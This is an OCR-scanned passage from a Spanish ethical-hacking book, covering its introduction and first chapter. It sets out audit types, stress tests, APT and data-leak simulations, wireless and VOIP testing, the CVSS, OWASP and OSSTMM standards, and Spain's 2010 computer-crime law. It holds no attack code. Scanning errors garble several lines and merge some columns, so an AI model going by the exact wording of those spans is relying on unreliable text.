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Introduccion

Introduccion

Son las 8.00 a.nt. de un lunes. Comienza una semana y es un nuevo dia de trabajo para el peniesier,
miembro importante del equipo de profesionales que realiza los trabajos auditoria de seguridad. y que
actualmente esta involucrado en un nuevo trabajo. El proyecto ha sido contratado por una empresa
y con €l se pretende mostrar a toda la direccion de la compania el status actual de la seguridad de
la compaiifa frente a todas las amenazas que existen hoy en dia en Internet, centrando sus esfuerzos
tanto en el factor humano como en el dimensionamiento y configuracion de sus sistemas.

¢ Qué se quiere decir con esto? Pues esto es un proyecto habitual de hacking éiico. lo que hace que
el ser humano que forma parte del equipo se sienta especial, dispuesto a dar lo mejor de si para
conseguir entrar lo maximo posible en los sistemas informaticos del objetivo, a realizar esquemas
de ataque basados en ingenieria social, a realizar exploiting de las aplicaciones con las que allf se
encuentre, a invesligar a todas y cada una de las personas de interés de la empresa bajo auditoria
para conocer sus habitos, su entorno, su vida y despucs localizar el error en el tiempo y el espacio
que le permita acceder a su informacién como un paso mas para llegar al corazdn de la empresa.

A pesar de los afios y ¢l numero de veces que lo ha hecho, ain el cosquilleo al realizar otro trabajo
de pentesting es comparado al mayor de los placeres para el ser humano.

Tras conocerse mas datos del proyecto y su alcance, se empiezan a construir las etapas por las que
va a ser necesario pasar. El jefe de proyecto reparte tareas al equipo en funcién de las cualidades
técnicas, sociales y humanas de cada miembro involucrado en este proyecto de hacking éico, Las
jornadas asignadas a cada accion seran la guia del proyecto. siempre acompafiade del beneficio el
trabajo, que esto sigue siendo el objetivo final de la empresa, monetizar los proyectos que realice el
equipo de auditoria.

Son diferentes etapas. varias jornadas, un equipo, y comienza el proyecto, comienza el juego. el
objetivo final de cada pentester no es tomar una foto de estado de la seguridad de la empresa. sino
demostrar que se puede. Todos saben que un 100% de seguridad es un hito aspiracional. pero no
realista, asi que cuando comienza un proyecto hay que llegar hasta el fmal.

El hacking ético es una disciplina profesional dentro del campo de la seguridad informatica que
permite evaluar el nivel de vulnerabilidad y el riego en el que se encuentran los sistemas informaticos
o los activos de una organizacién mediante un acuerdo previo con el cliente.

La denotacién de estos profesionales como hackers éricos ha sido impuesto en la sociedad para
diferenciar un comportamiento ético hecho por un profesional de acciones ilegales no autorizadas
realizas por alguien con peores intenciones.
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Esto se ha impuesto en este campo debido al mal uso realizado por medios de comunicacion
inicialmente y otros entes de la sociedad sobre el término hacker, 1o cual ha desembocado en que s¢
identifique a un hacker con u delincuente que aprovecha sus conocimientos para realizar acciones
maliciosas sobre sistemas con el fin de obtener un beneficio. Esto no ¢s asi realmente.

Un auditor de seguridad puede realizar proyectos de hacking ético a distintas organizaciones que
asi lo soliciten. Realizar una de estas pruebas puede ir desde una auditoria a un sitio web hasta una
prueba de stress contra los servidores de la organizacion. Existen algunas pruebas mas vistosas que
otras, pero el objetivo que se marca el libro es presentar ¢ identificar acciones que s¢ pueden repetir
durante las distintas pruebas.

Las pruebas llevadas a cabo en un proceso de auditoria son muy dispares, pero a lo largo de los afios
uno va ejerciendo en distintos ambitos y realizando una serie de pruebas de manera procedimental.
Estos procedimientos son los que se recopilan en este libro, aunque en muchas ocasiones la
experiencia y conocimiento ayude a llegar al éxito.

Las auditorias son clasificadas en tres tipos como son la caja blanca. caja negra y caja gris. Este
tipo de clasificacion permite identificar el 4mbito y contexto de actuacién, Es cierto que hoy en dia
hay més y mas entidades auditables, es decir, tecnologia que debe ser evaluada y de algun modo
fortificada.

En el presente libro se muestran diversas prucbas, no tan comunes. que forman parte de un proyecto
de hacking ético coma puede ser la simulacion de un APT, Advanced Persistent Threar, una prueba
de DDOS. Distributed Denial of Service, o la simulacion de fuga de informacion de la organizacion
hacia el exterior con el tol de un empleado concreto de la organizacion que pueda tener aceeso 4
datos sensibles de la compafiia.

La importancia del rol en este tipo de escenarios es vital para entender tanto la motivacion coma las
necesidades de un atacante. Gracias al rol, el auditor puede situarse en el contexto de la organizacion
y evaluar hasta donde se puede llegar en el camino a los activos importantes que la empresa debe
proteger.

Las empresas cada vez son més complejas como puede entenderse de la necesidad de realizar esta
serie de prucbas. Cada dia se maneja mayor volumen de informacion y ¢sta debe ser protegida de
manera activa. La idea de acercarse a un penfesting continuo cobra vida desde hace tiempo en las
empresas. aunque los elevados costes de un equipo humano dedicado a ello hacen que las empresas
no puedan realizar auditorias plenas en un rango temporal pequerio.

Por otro lado, cada dia van apareciendo un niimero mayor de incidentes de seguridad. no solo en
pequefias sino en grandes organizaciones. Desde hace unos meses. todos los dias nos levantamos con
alghin nuevo incidente de seguridad que ha desemboeado en el robo de los datos de una compatiia. en
el robo de las identidades de los empleados o en un fraude que obliga a la empresa victima a realizar
uha comunicacién con sus clientes que no suele salirle barata en terminos de dafio reputacional y
por tanto en Erminos economios.

Introduccion

Esto de nuevo pone encima de la mesa el debate scbre el estado de la seguridad de las empresas
hoy en dia y la importancia que va tomando en el contexto de la sociedad el contar con sistemas
informaticos lo mds seguro posible, y entre todas las tareas que ayudan a mejorar la seguridad de una
empresas, un proceso de hacking ético es fundamental.

Este libro pretende contarte muchas cosas que puedan ayudarte a realizar un proceso de hacking
diico. No estan todas las cosas que puedes encontrarte en un proyecto, y tendras que adaptarte.
Tendréas que estudiar, investigar, planificar y desarrollar nuevas habilidades. Eso hace apasionante
este trabajo. Este libro te ayudard a mostrarte un poco del camino, pero tendrés que descubrirlo tu
solo con tu experiencia y andarlo hasta el final. Hasta el Owned final.




Capitulo 1. Ethical Hacking

Capitulo I
Ethical Hacking

1. Objetivos

El principal objetivo de una empresa es generar beneficios mediante la produccion de productos o
servicios que permitan a la empresa seguir ejerciendo su actividad. Uno de los peligros que acechan
‘a las empresas hoy en dia es Internet. Este medio permite hoy en dia realizar toda accion que se
pudicra llevar a cabo anteriormente por otra via, como por ejemplo, la realizacién de compras,
negocios, venta de activos, consultas de informacién, modificacion de ndéminas, etcétera. En otras
palabras, acciones criticas son realizadas diariamente por las empresas a través de dicho medio.
por lo que sus propios activos pueden quedar expuestos sin una correcta politica de seguridad
empresarial y sin la configuracion de los elementos adecuados para protegerse.

El objetivo principal de un proceso de Ethical Hacking o Hacking Etico es el de realizar una serie de
pruebas acordadas con el cliente, la empresa u organizacion objeto, con el fin de averiguar fallos de
seguridad en algtin ambito que pueda afectar a la empresa y a la produccion de ésta.

Uno de los objetivos primordiales de toda empresa es la de proteger su informacién critica o sensible
y llevar a cabo el cumplimiento de la legislacién vigente entorno a proteccion de datos. Por esta
razén es importante para una empresa detectar y eliminar cuanto antes las posibles vulnerabilidades
que existan en su infraestructura, ya que si no las encuentran los auditores lo haran los usuarios
maliciosos. con todo el riesgo que ello conlleva.

En lineas generales, el objetivo fundamental de un proceso de Ethical Hacking es la de detectar,
investigar y explotar las vulnerabilidades existentes en un sistema de interés. Es importante recalcar
lo de interés. ya que si la informacién que contiene ese sistema es menos valiosa que el tiempo que
llevaria a un hacker acceder a ella, nadie la querria.

El pentesting llevado a cabo en un proceso de Ethical Hacking verificard y evaluard la seguridad,
tanto fisica como logica. de la red donde se encuentran los sistemas. de los propios sistemas de
informacion, de Ia configuracion de los servidores, de las bases de datos, de las aplicaciones, de los
elementos para mitigar el impacto de las amenazas, e incluso de la concienciacién de los empleados
encargados de la productividad empresarial.
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detectado una vulnerabilidad y se ha demostrado que un sistema es vulnerable,

Una vez que se ha
trarrestar posibles ataques malintencionados,

la empresa puede tomar medidas preventivas para con
y seguramente el auditor de seguridad acaba de ahorrar una gran cantidad de dinero, ya que se

podrian producir dafios a los activos més importantes, como puede ser informacion sensible ¢
imagen corporativa. Hay que anotar que en cualquier momento del proceso de Ethical Hacking toda
actividad debe estar controlada, es decir, todo ataque debe poder ser parado en cualquier momento
ante la demanda del contratante. ;Por qué se debe actuar como un delincuente cibernético? Esta
pregunta tiene una sencilla respuesta y €s un dicho ampliamente difundido en el mundo de la
seguridad: “Para atrapar a un intruso, primero se debe pensar como un intruso™.

:Quiénes son los encargados de llevar a cabo este tipo de procesos? Los conocidos como hackers

&ticos son también conocidos como penfesier, y son los encargados de realizar las prucbas de
penetracion o intrusién a los sistemas. Un hacker ético es un experto en el campo de la seguridad,
teniendo altos conocimientos en sistemas y redes de datos. Su principal funcion es la de atacar los
sisternas realizando las pruebas que se irdn estudiando en este libro, haciéndolo en nombre de sus
clientes, siempre y cuando ataquen activos de éstos. No hay diferencias importantes entre un hacker
y un hacker ético, ambos utilizarén sus conocimientos para lograr sus fines.

Como nota anecdética explicar que en el mundo de la seguridad informatica se suele denominar
hackers de sombrero blanco a los hackers éticos. este hecho es debido a que en las peliculas del
oeste, el “bueno” siempre llevaba un sombrero blanco y el “malo™ un sombrero negro.

uridad de la informacion se necesita un conjunto de sistemas o
as a la proteccion de dicha infi ormacion. La rama de
de una metodologia y la realizacion de pruebas

En definitiva, para garantizar la seg
dispositivos, técnicas y herramientas destinad
la seguridad que evaluara mediante la utilizacion
pseudo-reales es el Ethical Hacking. Como se vera mas adelante estas pruebas van desde ataques
externos, internos, con privilegios, mediante ingenieria social, ataques distribuidos simulando ser
una botnet, basandose en exploits, eteétera. En otras palabras cualquier accion o método es valido en
un proceso de Ethical Hacking siempre y cuando haya sido contratado por el cliente, no sea ilegal v
no se pierda el control sobre los activos a auditar.

2. Tipos de auditoria

En este apartado se exponen las cldsicas divisiones que historica
los tipos de auditoria, Realmente son la base de un proceso de Ethical Hacking pero no son las
Gnicas pruebas que se realizan. Mas adelante se puede ver los agregados al proceso, en el que se
especifican pruebas muy interesantes. novedosas en algunos casos y que conformar un proceso de
Ethical Hacking completo.

mente se han ido realizando sobre

eguridad es el de generar un s/afis de

Hay que tener en cuenta que el objetivo de una auditoria de s
que este proceso puede albergar

seguridad. Lo mismo ocurte ¢n un proceso de Ethical Hacking, ya
distintos tipos de auditoria de seguridad, como se verd a continuacion:

Capitulo 1. Ethical Hacking m

- Auditorfa de caja negra.

Auditoria de caja blanca.

Auditoria de caja gris.

La auditori j il i
’E'OI'.la d§ ?a_]a negra permite al auditor tomar el rol de un hacker, el cual no conoce ninguna
caracteristica del interior de la em izacid : 1
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Como se ha mencion: erior i
amencionado anteriormente estos tres tipos de auditoria se encuentran bien diferenciados
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pos de pruebas que se irdn tratando a lo largo del libro. L 5
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3. Agregados al proceso

Hoy en dia un proceso de Ethical Hacking dispone de distintos agregados. aunque su raiz son los
tres tipos de auditoria anteriormente comentados. Aunque las que se estudian a continuacion no son
todas las pruebas o agregados al proceso, son las més relevantes y utilizadas en estos procesos.

Pruebas de stress: DOS/DDOS

Este agregado es una de las pruebas mas temidas por las empresas ¥ grandes corporaciones.
Generalmente, cuando una empresa confrata una auditoria intenta evitar esta pruecba, ya que su
fama no es muy grata. Hay que hacer hincapié en que son las grandes empresas, como bancos,
consultoras, operadoras las que se atreven a llevar a cabo este tipo de pruebas.

Hay que tener claro que son pruebas interesantes para estudiar la viabilidad con la que la empresa
puede dejar de ofrecer servicio. Este hecho puede ser critico, ya que si la produccion de ésta depende
del servicio continuo en la red, habria que llevarla a cabo con el maximo cuidado posible. Muchos
no ven con buenos ojos estas pruebas precisamente por este hecho, pero una de las méximas del
Ethical Hacking dice que: “Sino se prueba de manera controlada, habra un usuario malicioso que lo
hara”. Con esta frase queda claro que si no se realiza, no quiere decir que llegue un usuario malicioso
y lo provoque, generando pérdida de servicio y posiblemente de dinero.

Se tiene que diferenciar entre pruebas de DOS, Denial Of Service. y DDOS, Distributed Denial
Of Service. Una prueba de DOS intenta sobrecargar el ancho de banda de un equipo mediante la
inundacion de la red de paquetes TCP/UDP. Este hecho, bien realizado, dejara inaccesible a otras
maquinas al servidor o al farget. Por otro lado, una prueba de DDOS, es muy similar a una prueba
de DOS, salvo que el origen del “bombardeo™ de paquetes y conexiones viene de cientos o miles
de maquinas alrededor de maquinas, y en el caso de la prueba de DOS no. Generalmente, un atagque
DDOS suele realizarse desde una red de equipos zombies, es decir, una botnet. Una cosa se debe
recordar y s que en un proceso de Ethical Hacking para una empresa u organizacion no se podra
alquilar ni utilizar una botnet. con el fin de cubrir esta prueba. En este libro se estudiaran algunos
métodos ingeniosos para llevar a cabo la prueba.

imposible realizar la operacion

referencia: I NEENENENNN

Aceptar

Fig. 1.01: Ejemplo de sérvicio no disponible en una prueha de DDOS.
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EHl Iroi que se toma en esta prueba es el de un usuario o grupo de usuarios maliciosos, los cuales
quieren provocar un impacto sobre el servicio de una organizacion con el fin de dejarla inaccesible.
De esta manera pueden provocar dan_o en la imagen corporativa, el cual se traduce en pérdidas, o
incluso cortar la produccion de su actividad, generando inmediatamente un impacto en la economia
de la organizacion.

APT: Amenazas avanzadas persistentes

Los IAPT1 Advanced Persistent Threat, es un agregado al proceso bastante novedoso. Un APT
consiste en realizar un ataque o conjunto de ataques sobre una muestra de personas o empleados
de una empresa simulando un ataque dirigido hacia personas de interés. En otras palabras, el rol
del aydltor es la de una persona maliciosa y externa, en la mayoria de las ocasiones, a la entidad la
cual investigara a un conjunto de empleados averiguando informacion de ellos y realizara un ataque
para lograr obtener el control de la maquina o dispositive de éstos, lograr sus credenciales teniendo
acceso a informacidn bajo su identidad, o utilizéndolos para llegar a otras personas de mayor intercs.

(“Por. quc Ilev.ar a .cabo estas pruebas? Por lo general, los grupos. como gobiernos, personas con poder
medla.tlco, directivos de empresas grandes e importantes se encuentran amenazados en Internet por
el espionaje. Existen usuarios maliciosos, incluyendo espionaje entre empresas, enire gobiernos o
paises, los cuales quieren utilizar ciertas téenicas de recogida de informacion para acceder a datoé
sensibles de sus objetivos.

Par ejemplo. se pueden utilizar medios o dispositivos infectados. comprometiendo los equipos de
lc_)s usuarios a los que se amenaza, ingenieria social para conseguir que estos usuarios ejecuten
ciertos archivos, etcétera, Generalmente, un solo fiacker no dispone de los recursos para realizar el
ataque tan avanzado y persistente como pueden hacerlo los gobiernos o entidades grandes.

Fuga de informacion interna

E'sla. pr.ueba del proceso es un agregado novedoso en el que se asume el rol de un empleado. el cual
a priori no tiene porqué disponer de privilegios. Se suele denominar a la prueba como analisis de
fruga de informacion para conseguir detectar canales o vectores por los que un empleado puede sacar
informacion sensible al exterior de la organizacion, -

A priori. la prueba puede parecer ficil, pero en un entorno critico esto se puede convertir en una
tarea realmente costosa. El objetivo del auditor es el de estudiar distintos tipos de vias. que no dejen
“huella™ y por los que pueda recuperar la informacion en el exterior. Un ejemplo sencillo es la
pos-ibili(lad de asumir un rol de un empleado de finanzas, el cual puede querer vender informacion
critica de la organizacion, pero para ello debe sacar dicha informacion de su equipo. No dispone de
acceso a los dispositivos USB o extraibles, ademas, su equipo dispone de seguridad fisica, por lo que
no puede abrir el equipo. El hombre de finanzas debe utilizar un medio como el correo electrénico,
pero este es monitorizado y se regisira todo envio, por lo que seria facilmente rastreable. Ademas
si se intenta utilizar cifrado en el correo, automaticamente el correo sera blogueado, y se Ie pediré;
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explicaciones. El navegador del empleado dispone de plugins los cuales no permiten afiadir adjuntos
a los correos webmail, y los sitios web de almacenamiento en la nube se encuentran bloqueados por
proxy, quedando registrado su intento de acceso. Como se verd mas adelante este tipo de pruebas,
pueden ser mas complejas de lo que se puede pensar.

Comunicaciones wireless & VOIP

Otro de los agregados al proceso de Ethical Hacking es el conjunto de técnicas para auditar las
comunicaciones de la organizacién. Generalmente, una organizacion dispone de las comunicaciones
internas o redes de datos, donde se encuentran las DMZ, la Intranet, y otras redes suplementarias de
interés. Aunque hoy en dia y cada vez mds, se implantan una serie de redes para permitir distintos
tipos de comunicaciones, como son las comunicaciones inaldmbricas a través de las redes wireless,
y las redes de voz, con la implantacion de las comunicaciones VOIP, Voice Over IP.

En el proceso de auditar las comunicaciones wireless se llevan a cabo distintas pruebas con el fin
de determinar el nivel de seguridad y confidencialidad que proporcionan la configuracion de dichas
redes. Es altamente probable que ocurran anomalias en este tipo de redes, ya que se suelen implantar
como red de invitados en las empresas. por lo que no se tiene en cuenta todo el impacto que puede
tener si un empleado. no téenico, utiliza esa red para realizar su labor. Por otro lado, se suelen
encontrar cifrados no éptimos o configuraciones erréneas en las redes wireless empresariales, lo cual
puede desembocar en una via de entrada a la organizacion o la informacién de ésta,

En el proceso para auditar las comunicaciones VOIP se llevan a cabo distintas pruebas. donde el
auditor asumird el rol de empleado con un dispositivo VOIP a su disposicién. El auditor se conectara
la red de voz donde realizara la auditoria. El objetivo es verificar una serie de pautas para evaluar
el status de seguridad de la arquitectura e infraestructura de la red. Estas pruebas identificaran
servidores, terminales y realizaran pruebas para verificar la configuracion general de los terminales
de Tos empleados. Una prueba que puede provocar la deteceion de una falla importante de seguridad
es la reconstruceion de paquetes, pudiendo obtener la conversacién entre dos empleados. dejando a
la luz un fallo de seguridad de confidencialidad grave.

La importancia del rol

Un proceso de Ethical Hacking esta guiado por el rol que los auditores van tomando en cada
actividad que se va realizando. Como se ha podido estudiar en el apartado de auditorias o en los
apartados anteriores, ¢l auditor va asumiendo distintos roles que simulan ser usuarios o empleados
en un instanle concreto y con circunstancias concretas. Es por este hecho que se dice que el proceso
viene guiado por el rol. y por ello éste dispone de tanta importancia.

Es realmente interesante anunciar en el apartado de documentacién o informes qué rol se ha asumido
en cada actividad realizada. De este modo, no serd relevante si quién visualiza la documentacion o
informe no dispone de conocimicentos. ya que podrd entender mediante el rol porque se ha realizado
la prueba y qué se estaba simulando en cada instante.
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4.Evaluacion de seguridad

El objetivo final de un proceso de Ethical Hacking es el de evaluar la seguridad de los sistemas,
comunicaciones, infraestructuras de las que dispone la organizacion o empresa. En toda actividad
que se realice en el proceso, ya sea una auditoria interna, un APT o una auditoria perimetral, es
necesario, 1o solo planificar y llevar a cabo las actividades sino efectuar procedimientos de control
y de contramedida.

En otras palabras, hay que llevar a cabo la parte de intrusion y pruebas de seguridad, v por otro
lado preparar las contramedidas y procedimientos que serdn llevados a cabo en caso de detectar y
explotar vulnerabilidades. La suma de ambas paries constituye una evaluacion de seguridad global,
que es realmente la que el cliente contrata y espera.

Vulnerabilidades

Un proceso de Ethical Hacking esta compuesto, como se ha podido entender ya con anterioridad,
por diversas pruebas con distintos enfoques, roles y ambitos. Cualquier de estas pruebas tienen como
objetivo comun encontrar las vulnerabilidades que puedan afectar en mayor o menor medida a los
bienes y activos de la empresa u organizacion. Se puede determinar por lo tanto que un proceso
de Ethical Hacking esta guiado por la bisqueda de las vulnerabilidades. las cuales provoquen la
ejecucion de las acciones correctoras, con el fin de detectar y solucionar los agujeros de seguridad.
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Fig. 1.02: Gréfico tareas y clasificacion de criticidad de vulnerabilidades.

Todas las vulnerabilidades no son iguales, este hecho es obvio. Existen ciertas vulnerabilidades que
afectan directamente a los activos o bienes de la empresa, por lo que su deteccidn y explotacidn
puede suponer a la empresa una gran pérdida econdmica. Por otro lado existen las vulnerabilidades
importantes, las cuales pueden afectar a los activos de la empresa, pero no de manera directa. También

existen las vulnerabilidades meramente informativas, las cuales pueden proporcionar informacian a
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un atacante, la cual puede no interesar que se conozea por varios motivos. Este tipo de clasificacion
que se realiza de manera orientativa puede provocar que el auditor caiga en un error conceptual.

Generalmente, en los informes que se realizan en el mundo profesional de la seguridad informatica,
no se clasifican de manera adecuada las vulnerabilidades encontradas.

Es importante recalcar que una vulnerabilidad que provoque una denegacion de servicio puede
ser critica si realmente el servicio que se deniega es importante para la empresa. Esta carencia
no permite realizar una comparativa entre diferentes evaluaciones, sobre todo cuando estas
evaluaciones han sido llevadas a cabo por distintos proveedores de seguridad, utilizando distintas
técnicas, herramientas, pruebas y criterios. Es fundamental dentro de cualquier modelo de seguridad
que los trabajos sean medibles de igual manera y que puedan ser comparados, de manera contraria
no se podra estudiar el grado de evolucidn real.

Una de las vias de resolver esta problematica es la que propuso MITRE quien desarrolld una serie
de estandares que permiten homogeneizar las diferentes debilidades que pueden existir. Por un lado
existe la Conunon Weakness Enumeration, CWE, y la Common Vilnerabilities Exposures, CVE.
Este estdndar se comentara mas en detalle en el siguiente apartado.

Por lo general hay que analizar con el maximo detalle como afecta cada una de las vulnerabilidades
a las funcionalidades del servicio. Una vez que se haya determinado el nimero de vulnerabilidades
v cudles son las implicaciones, si se detecta alguna critica, se deberia notificar a la mayor brevedad
posible, para proceder a su correceion.

La descripcion anterior se encuentra estandarizado por el F/RST, cuyo estandar se puede encontrar
en la siguiente URL htip:/iwww.first.org/cvssicvss-guide.fitml.

Estandares y modelos

Existen multitud de estandares, modelos o normas en el mundo de la seguridad y que son aplicables
en un proceso de Ethical Hacking. Realmente, utilizar uno de éstos permite dotar de cierta categoria
a los auditores o empresa que llevara a cabo dicho proceso. En muchas ocasiones las empresas
contratantes de los servicios proporcionan la necesidad de utilizar alguno de estos estandares con
el fin de homogeneizar las comparativas entre procesos llevados a cabo por distintas empresas
auditoras.

Se podria dedicar el contenido de un libro completo para definir y explicar cada uno de los estandares
y modelos presentados en este apartado. El objetivo del libro es proporcionar un listado de alguno de
éstos, proporcionando al auditor una idea global de lo que puede encontrar a dia de hoy.

OWASP, Open Web Application Security Project, es un proyecto de codigo abierto dedicado a
determinar las vulnerabilidades en el software. OWASP esta compuesta por empresas, organizaciones
y particulares alrededor del mundo. OWASP recomienda enfocar la seguridad de aplicaciones
informaticas considerando las dimensiones de personas, procesos y tecnologias.

*
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OWASP proporciona una guia de buenas practicas en el desarrollo de las aplicaciones y un documento
de autoevaluacion, denominado OWASP Top 0. En este documento se detallan las vulnerabilidades
mas comunes localizadas en las auditorias. Hay que tener en cuenta que las vulnerabilidades como
inyecciones SOL y los Cross-Site Scripting, XSS, siempre suelen copar los primeros lugares.

OSSTMM, Open Source Security Testing Methodology Manual, es una metodologia. cuyo manual
se puede descargar de forma libre y gratuita del sitio web de la ISECOM, estructurada en 15
capftulos donde se explica cdmo llevar a cabo las pruebas de auditoria correspondientes a distintos
ambitos. En esta metodologia se explica que es un andlisis de seguridad, como enfocarlo, cudles
son las métricas de seguridad operativas, como se debe estructurar el flujo de trabajo, las prucbas
de seguridad que se deben realizar a las personas, por gjemplo en el 4mbito de la ingenieria social,
las pruebas de seguridad en telecomunicaciones, wireless, pruebas de seguridad en entornos fisicos,
de red. etcétera. Es una metodologia muy completa, la cual puede ser estudiada en la siguiente URL
http:/iwww.isecom.org.

Un aspecto importante que se recoge en OSSTAMM es la elaboracion de informes y como se deben
generar €stos. Un auditor de seguridad, como se ha mencionado anteriormente, puede caer en el
error de utilizar métricas o valoraciones distintas. Es decir, cada persona habla un lenguaje distinto,
por lo que la comparativa no serd posible. OSSTMM propone una via de generacion de informes
estandarizada, por lo que se facilitara el trabajo desde el punto de vista evolutivo. Ademas, OSSTALM
es una metodologia certificable, es decir, un auditor puede estar certificado en ella como analista,
fester o experto.

MITRE desarrolld una serie de estandares, como se menciond en ¢l apartado anterior. El primero
que se tratara es el CWE, Common Weakness Enumeration, el cual proporciona un marco unificado
para catalogar las vulnerabilidades de software. Las CWE pretender ser genéricas, por lo que una
vulnerabilidad tipificada bajo un CVE especifico podra mapearse contra alguna de las mas de 630
debilidades base que se encuentran en los CWE. Estas debilidades a su vez se podran clasificar en
alguna de las mas de 60 categorias definidas por CWE.

Por otro lado, los CVE son una lista de informacion sobre vulnerabilidades conocidas, donde cada
una dispone de una referencia. Mediante esta via se proporciona a los usuarios de una manera de
entender y proporcionar al publico este tipo de problemas. El formato utilizado para identificar los
elementos de esta lista es el siguiente CVE-1D. El ID estd compuesto por YYYY-NNVN, dénde YYVY
es el afio y NVANN el numero de la vulnerabilidad.

En el afio 2014, el formato de /D del CFE ha cambiado, siendo los digitos de tipo N de longitud
variable. En otras palabras, anteriormente el formato era CVE-YYYY-NNNN, y ahora si se
necesitasen mas digitos, por el niimero de vulnerabilidades conocidas, se afiadirfa un niimero mas
quedando asi CVE-YYYY-NNNNN, v asi sucesivamente en caso de necesitarse.

La guia de CVSS, proporciona una clasificacién estandarizada y normalizada por el FIRST, con la
que los auditores podran comparar diferentes auditorias con un enfoque real.

La guia se encuentra en la siguiente URL htip:/iwww.first.org/cvss/cvss-guide. html.
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El CVSS proporciona una métrica base compuesta por los siguientes elementos:

- Vector de acceso 0 AV.
o Local. Vulnerabilidades explotables en un equipo local.
o Red de vecinos o adyacente, Vulnerabilidades explotables dentro de la misma red,
es decir, capa 2.
¢ Remoto, Vulnerabilidades accesibles o explotables desde cualquier ubicacion de
red.
- Complejidad de acceso 0 AC.
o Alta. Complejidad, combinacion y circunstancias muy especiales.
o Media, Complejidad de explotacion media para un grupo de usuarios.
o Baja. Configuracion por defecto.
- Autenticacion.
o Ninguna. No se requiere autenticacion para explotar la vulnerabilidad.
o Simple. Se requiere una autenticacion para poder explotar la vulnerabilidad.
o Miultiple. Serequieren varias autenticaciones para poder explotar la vulnerabilidad.
- Impacto en la confidencialidad, es decir, si esta se viera afectada.
- Impacto en la disponibilidad.
- Impacto en la integridad.

El CVSS aporta una métrica de entorno que se define, a grandes rasgos, de la siguiente manera:
- Distribucién de equipos vulnerables, es decir, si el nimero de equipos vulnerables es
elevado. o es un caso aislado.
- Daiios colaterales. Las posibilidades de que se produzean pérdidas econdémicas o de
personas por la vulnerabilidad detectada.
- Requisitos de seguridad.
- También se aporta una métrica temporal, donde se especifica una ventana temporal donde
se puede actuar tanto para la explotacion, como la correccién de la vulnerabilidad. Se define
de la siguiente manera:
- Explotabilidad. Existencia o no de cédigo que aproveche la vulnerabilidad, es decir, si
existen exploits.
- Dificultad para aplicar una medida correctora.

- Fiabilidad del informe de vulnerabilidades. Como ejemplo real definir que en algunas
ocasiones se anuncia la existencia de una vulnerabilidad pero no se confirma la fuente.

Con la clasificacion que se ha mostrado este estandar CVSS define una serie de ponderaciones
con la que obtener una puntuacién exacta, la cual resultarda muy Gtil para comparar productos,
organizaciones, trabajos de auditoria, etcétera.
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La metodologia OWISAM, Open Wireless Security Assesment Methodology, proporciona selucion
a la necesidad de definir y asignar controles de seguridad que se deben verificar sobre redes de
comunicaciones inaldmbricas. De esta manera se puede identificar riesgos en este tipo de redes, y
aplicar procedimientos en las auditorias de este tipo de redes. La metodologia OWISAM tiene como
enfoque disefiar una metodologia agil y utilizable con la que los auditores de seguridad puedan
realizar un analisis exitoso de este tipo de redes en un ambito profesional.

A dia de hoy, las empresas como los analistas de seguridad no disponen de una metodologia
estandarizada con el que analizar y clasificar los riesgos de las redes wirefess, por lo que OWISAM,
una metodologia joven, proporciona solueién al problema comentado.

Los controles que utiliza la metodologia OWISAM son todas aquellas verificaciones técnicas que
deben ser llevadas a cabo para analizar los riesgos de este tipo de redes y son los siguientes:
- Descubrimiento de dispositivos. Recopilacion de informacién sobre las redes inalambricas.
- Fingerprinting. Comprobacion y analisis de funcionalidades de los dispositivos de
comunicaciones,
- Pruebas de autenticacion.
- Cifrado de las comunicaciones.
- Verificacion de la configuracion de las redes.
- Pruebas de control de la seguridad sobre la mfraestructura wireless.
- Controles orientados a verificar la disponibilidad del entorno, es decir. pruebas de
denegacion de servicio.
- Pruebas sobre directivas del uso de las redes wireless.
- Pruebas sobre los clientes inaldmbricos.

- Pruebas sobre fofspots y portales cautivos,

Otros conceptos como el modelo Defensa en Profundidad. abanderado de Microsoff, v 1a 150 27001,
son otros que proporcionarian un gran volumen de informacidn. Son totalmente recomendados para
su estudio y su puesta en practica en un entorno profesional.

Ley Hacking 23 de Diciembre de 2010

E123 de Diciembre de 2010 entrd en vigor la reforma del codigo penal, el cual fue modificado por la
Ley Orgéanica 5/2010 de 22 de Junio. En esta nueva reforma legal se tipifica como delitos informaticos
especificos, limitando la accion de los investigadores de seguridad informatica y responsabilizando a
las empresas. Por lo que las empresas seran las personas juridicas de las acciones de sus empleados.

Esta actualizacion supuso una ampliacion del catdlogo de delitos informéticos, el cual es necesario
conocer cuando se ejerce una profesion conereta, pero no es suficiente para cubrir todo el abanico de
delitos que pueden surgir hoy en dia en el mundo de la seguridad informatica. Esta ley no modificd
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algunos delitos graves, como por ejemplo el de la pornografia infantil o suplantacién de identidad,
entre otros.

Las empresas, personas juridicas, son responsables de estafas y delitos informéticos cometidos por
sus empleados. Esta afirmacién es asf, siempre que se demuestre que las empresas no han implantado
medidas de control interno necesarias para impedir estos incidentes. Si una empresa fuera adquirida
por otra, la responsabilidad se traslada a la nueva empresa resultante. Por supuesto, la empresa es
responsable del delito cuando no es posible determinar quién es el autor del delito, incluso cuando
el autor haya fallecido.

Las sanciones que pueden afectar a las empresas son muy distintas, pudiendo ir desde una multa
pequeiia hasta la propia disolucion de la sociedad. Esto es independiente de la responsabilidad que
tenga el empleado, persona fisica. En otras palabras, sancionados sern tanto la empresa como el
empleado causante del delito.

La reforma solo afectaba a las empresas privadas, estando el sector publico exento de dichas
responsabilidades penales. El Estado y las Administraciones se les eximen de toda posible culpa en
un delito informatico. Los partidos politicos no pagarén por las acciones de sus empleados.

Otra de las cosas importantes gue marca esta Ley del afio 2010 es que la deteccion de vulnerabilidades
informaticas se convierte en un delito. Cualquier persona que detecte vulnerabilidades en
aplicaciones o sitios web sin consentimiento explicito de los interesados, en este caso el propietario
de la aplicacién, puede acabar con consecuencias legales. El Cédigo Penal sanciona el uso de las
nuevas tecnologias de la informacién para invadir o atentar contra la intimidad de las personas.
En otras palabras, realizar un acceso no consentido, sin autorizacion, vulnerando un sistema de
autenticacion serd sancionado, aunque no exista intencion de cometer un delito. El usuario que
comete este delito puede ser sancionado con una pena de prision de entre seis meses y dos afios.

Los empleados dedicados a la seguridad informatica deben conocer esta Ley, y todas las consecuencias
gque pueden ocurrir en el incumplimiento de ella. Es recomendable que los empresarios al contratar
a los empleados informen y dediquen tiempo en que los profesionales de la seguridad entiendan
el ambito en el que se encuentran y a las leyes que estan sujetos sus puestos de trabajo. Se puede
entender gue este Caodigo Penal sitda en el mismo escalafon a un investigador de seguridad que a un
delincuente que se aprovecha de las vulnerabilidades para obtener un beneficio.

5. Metodologia

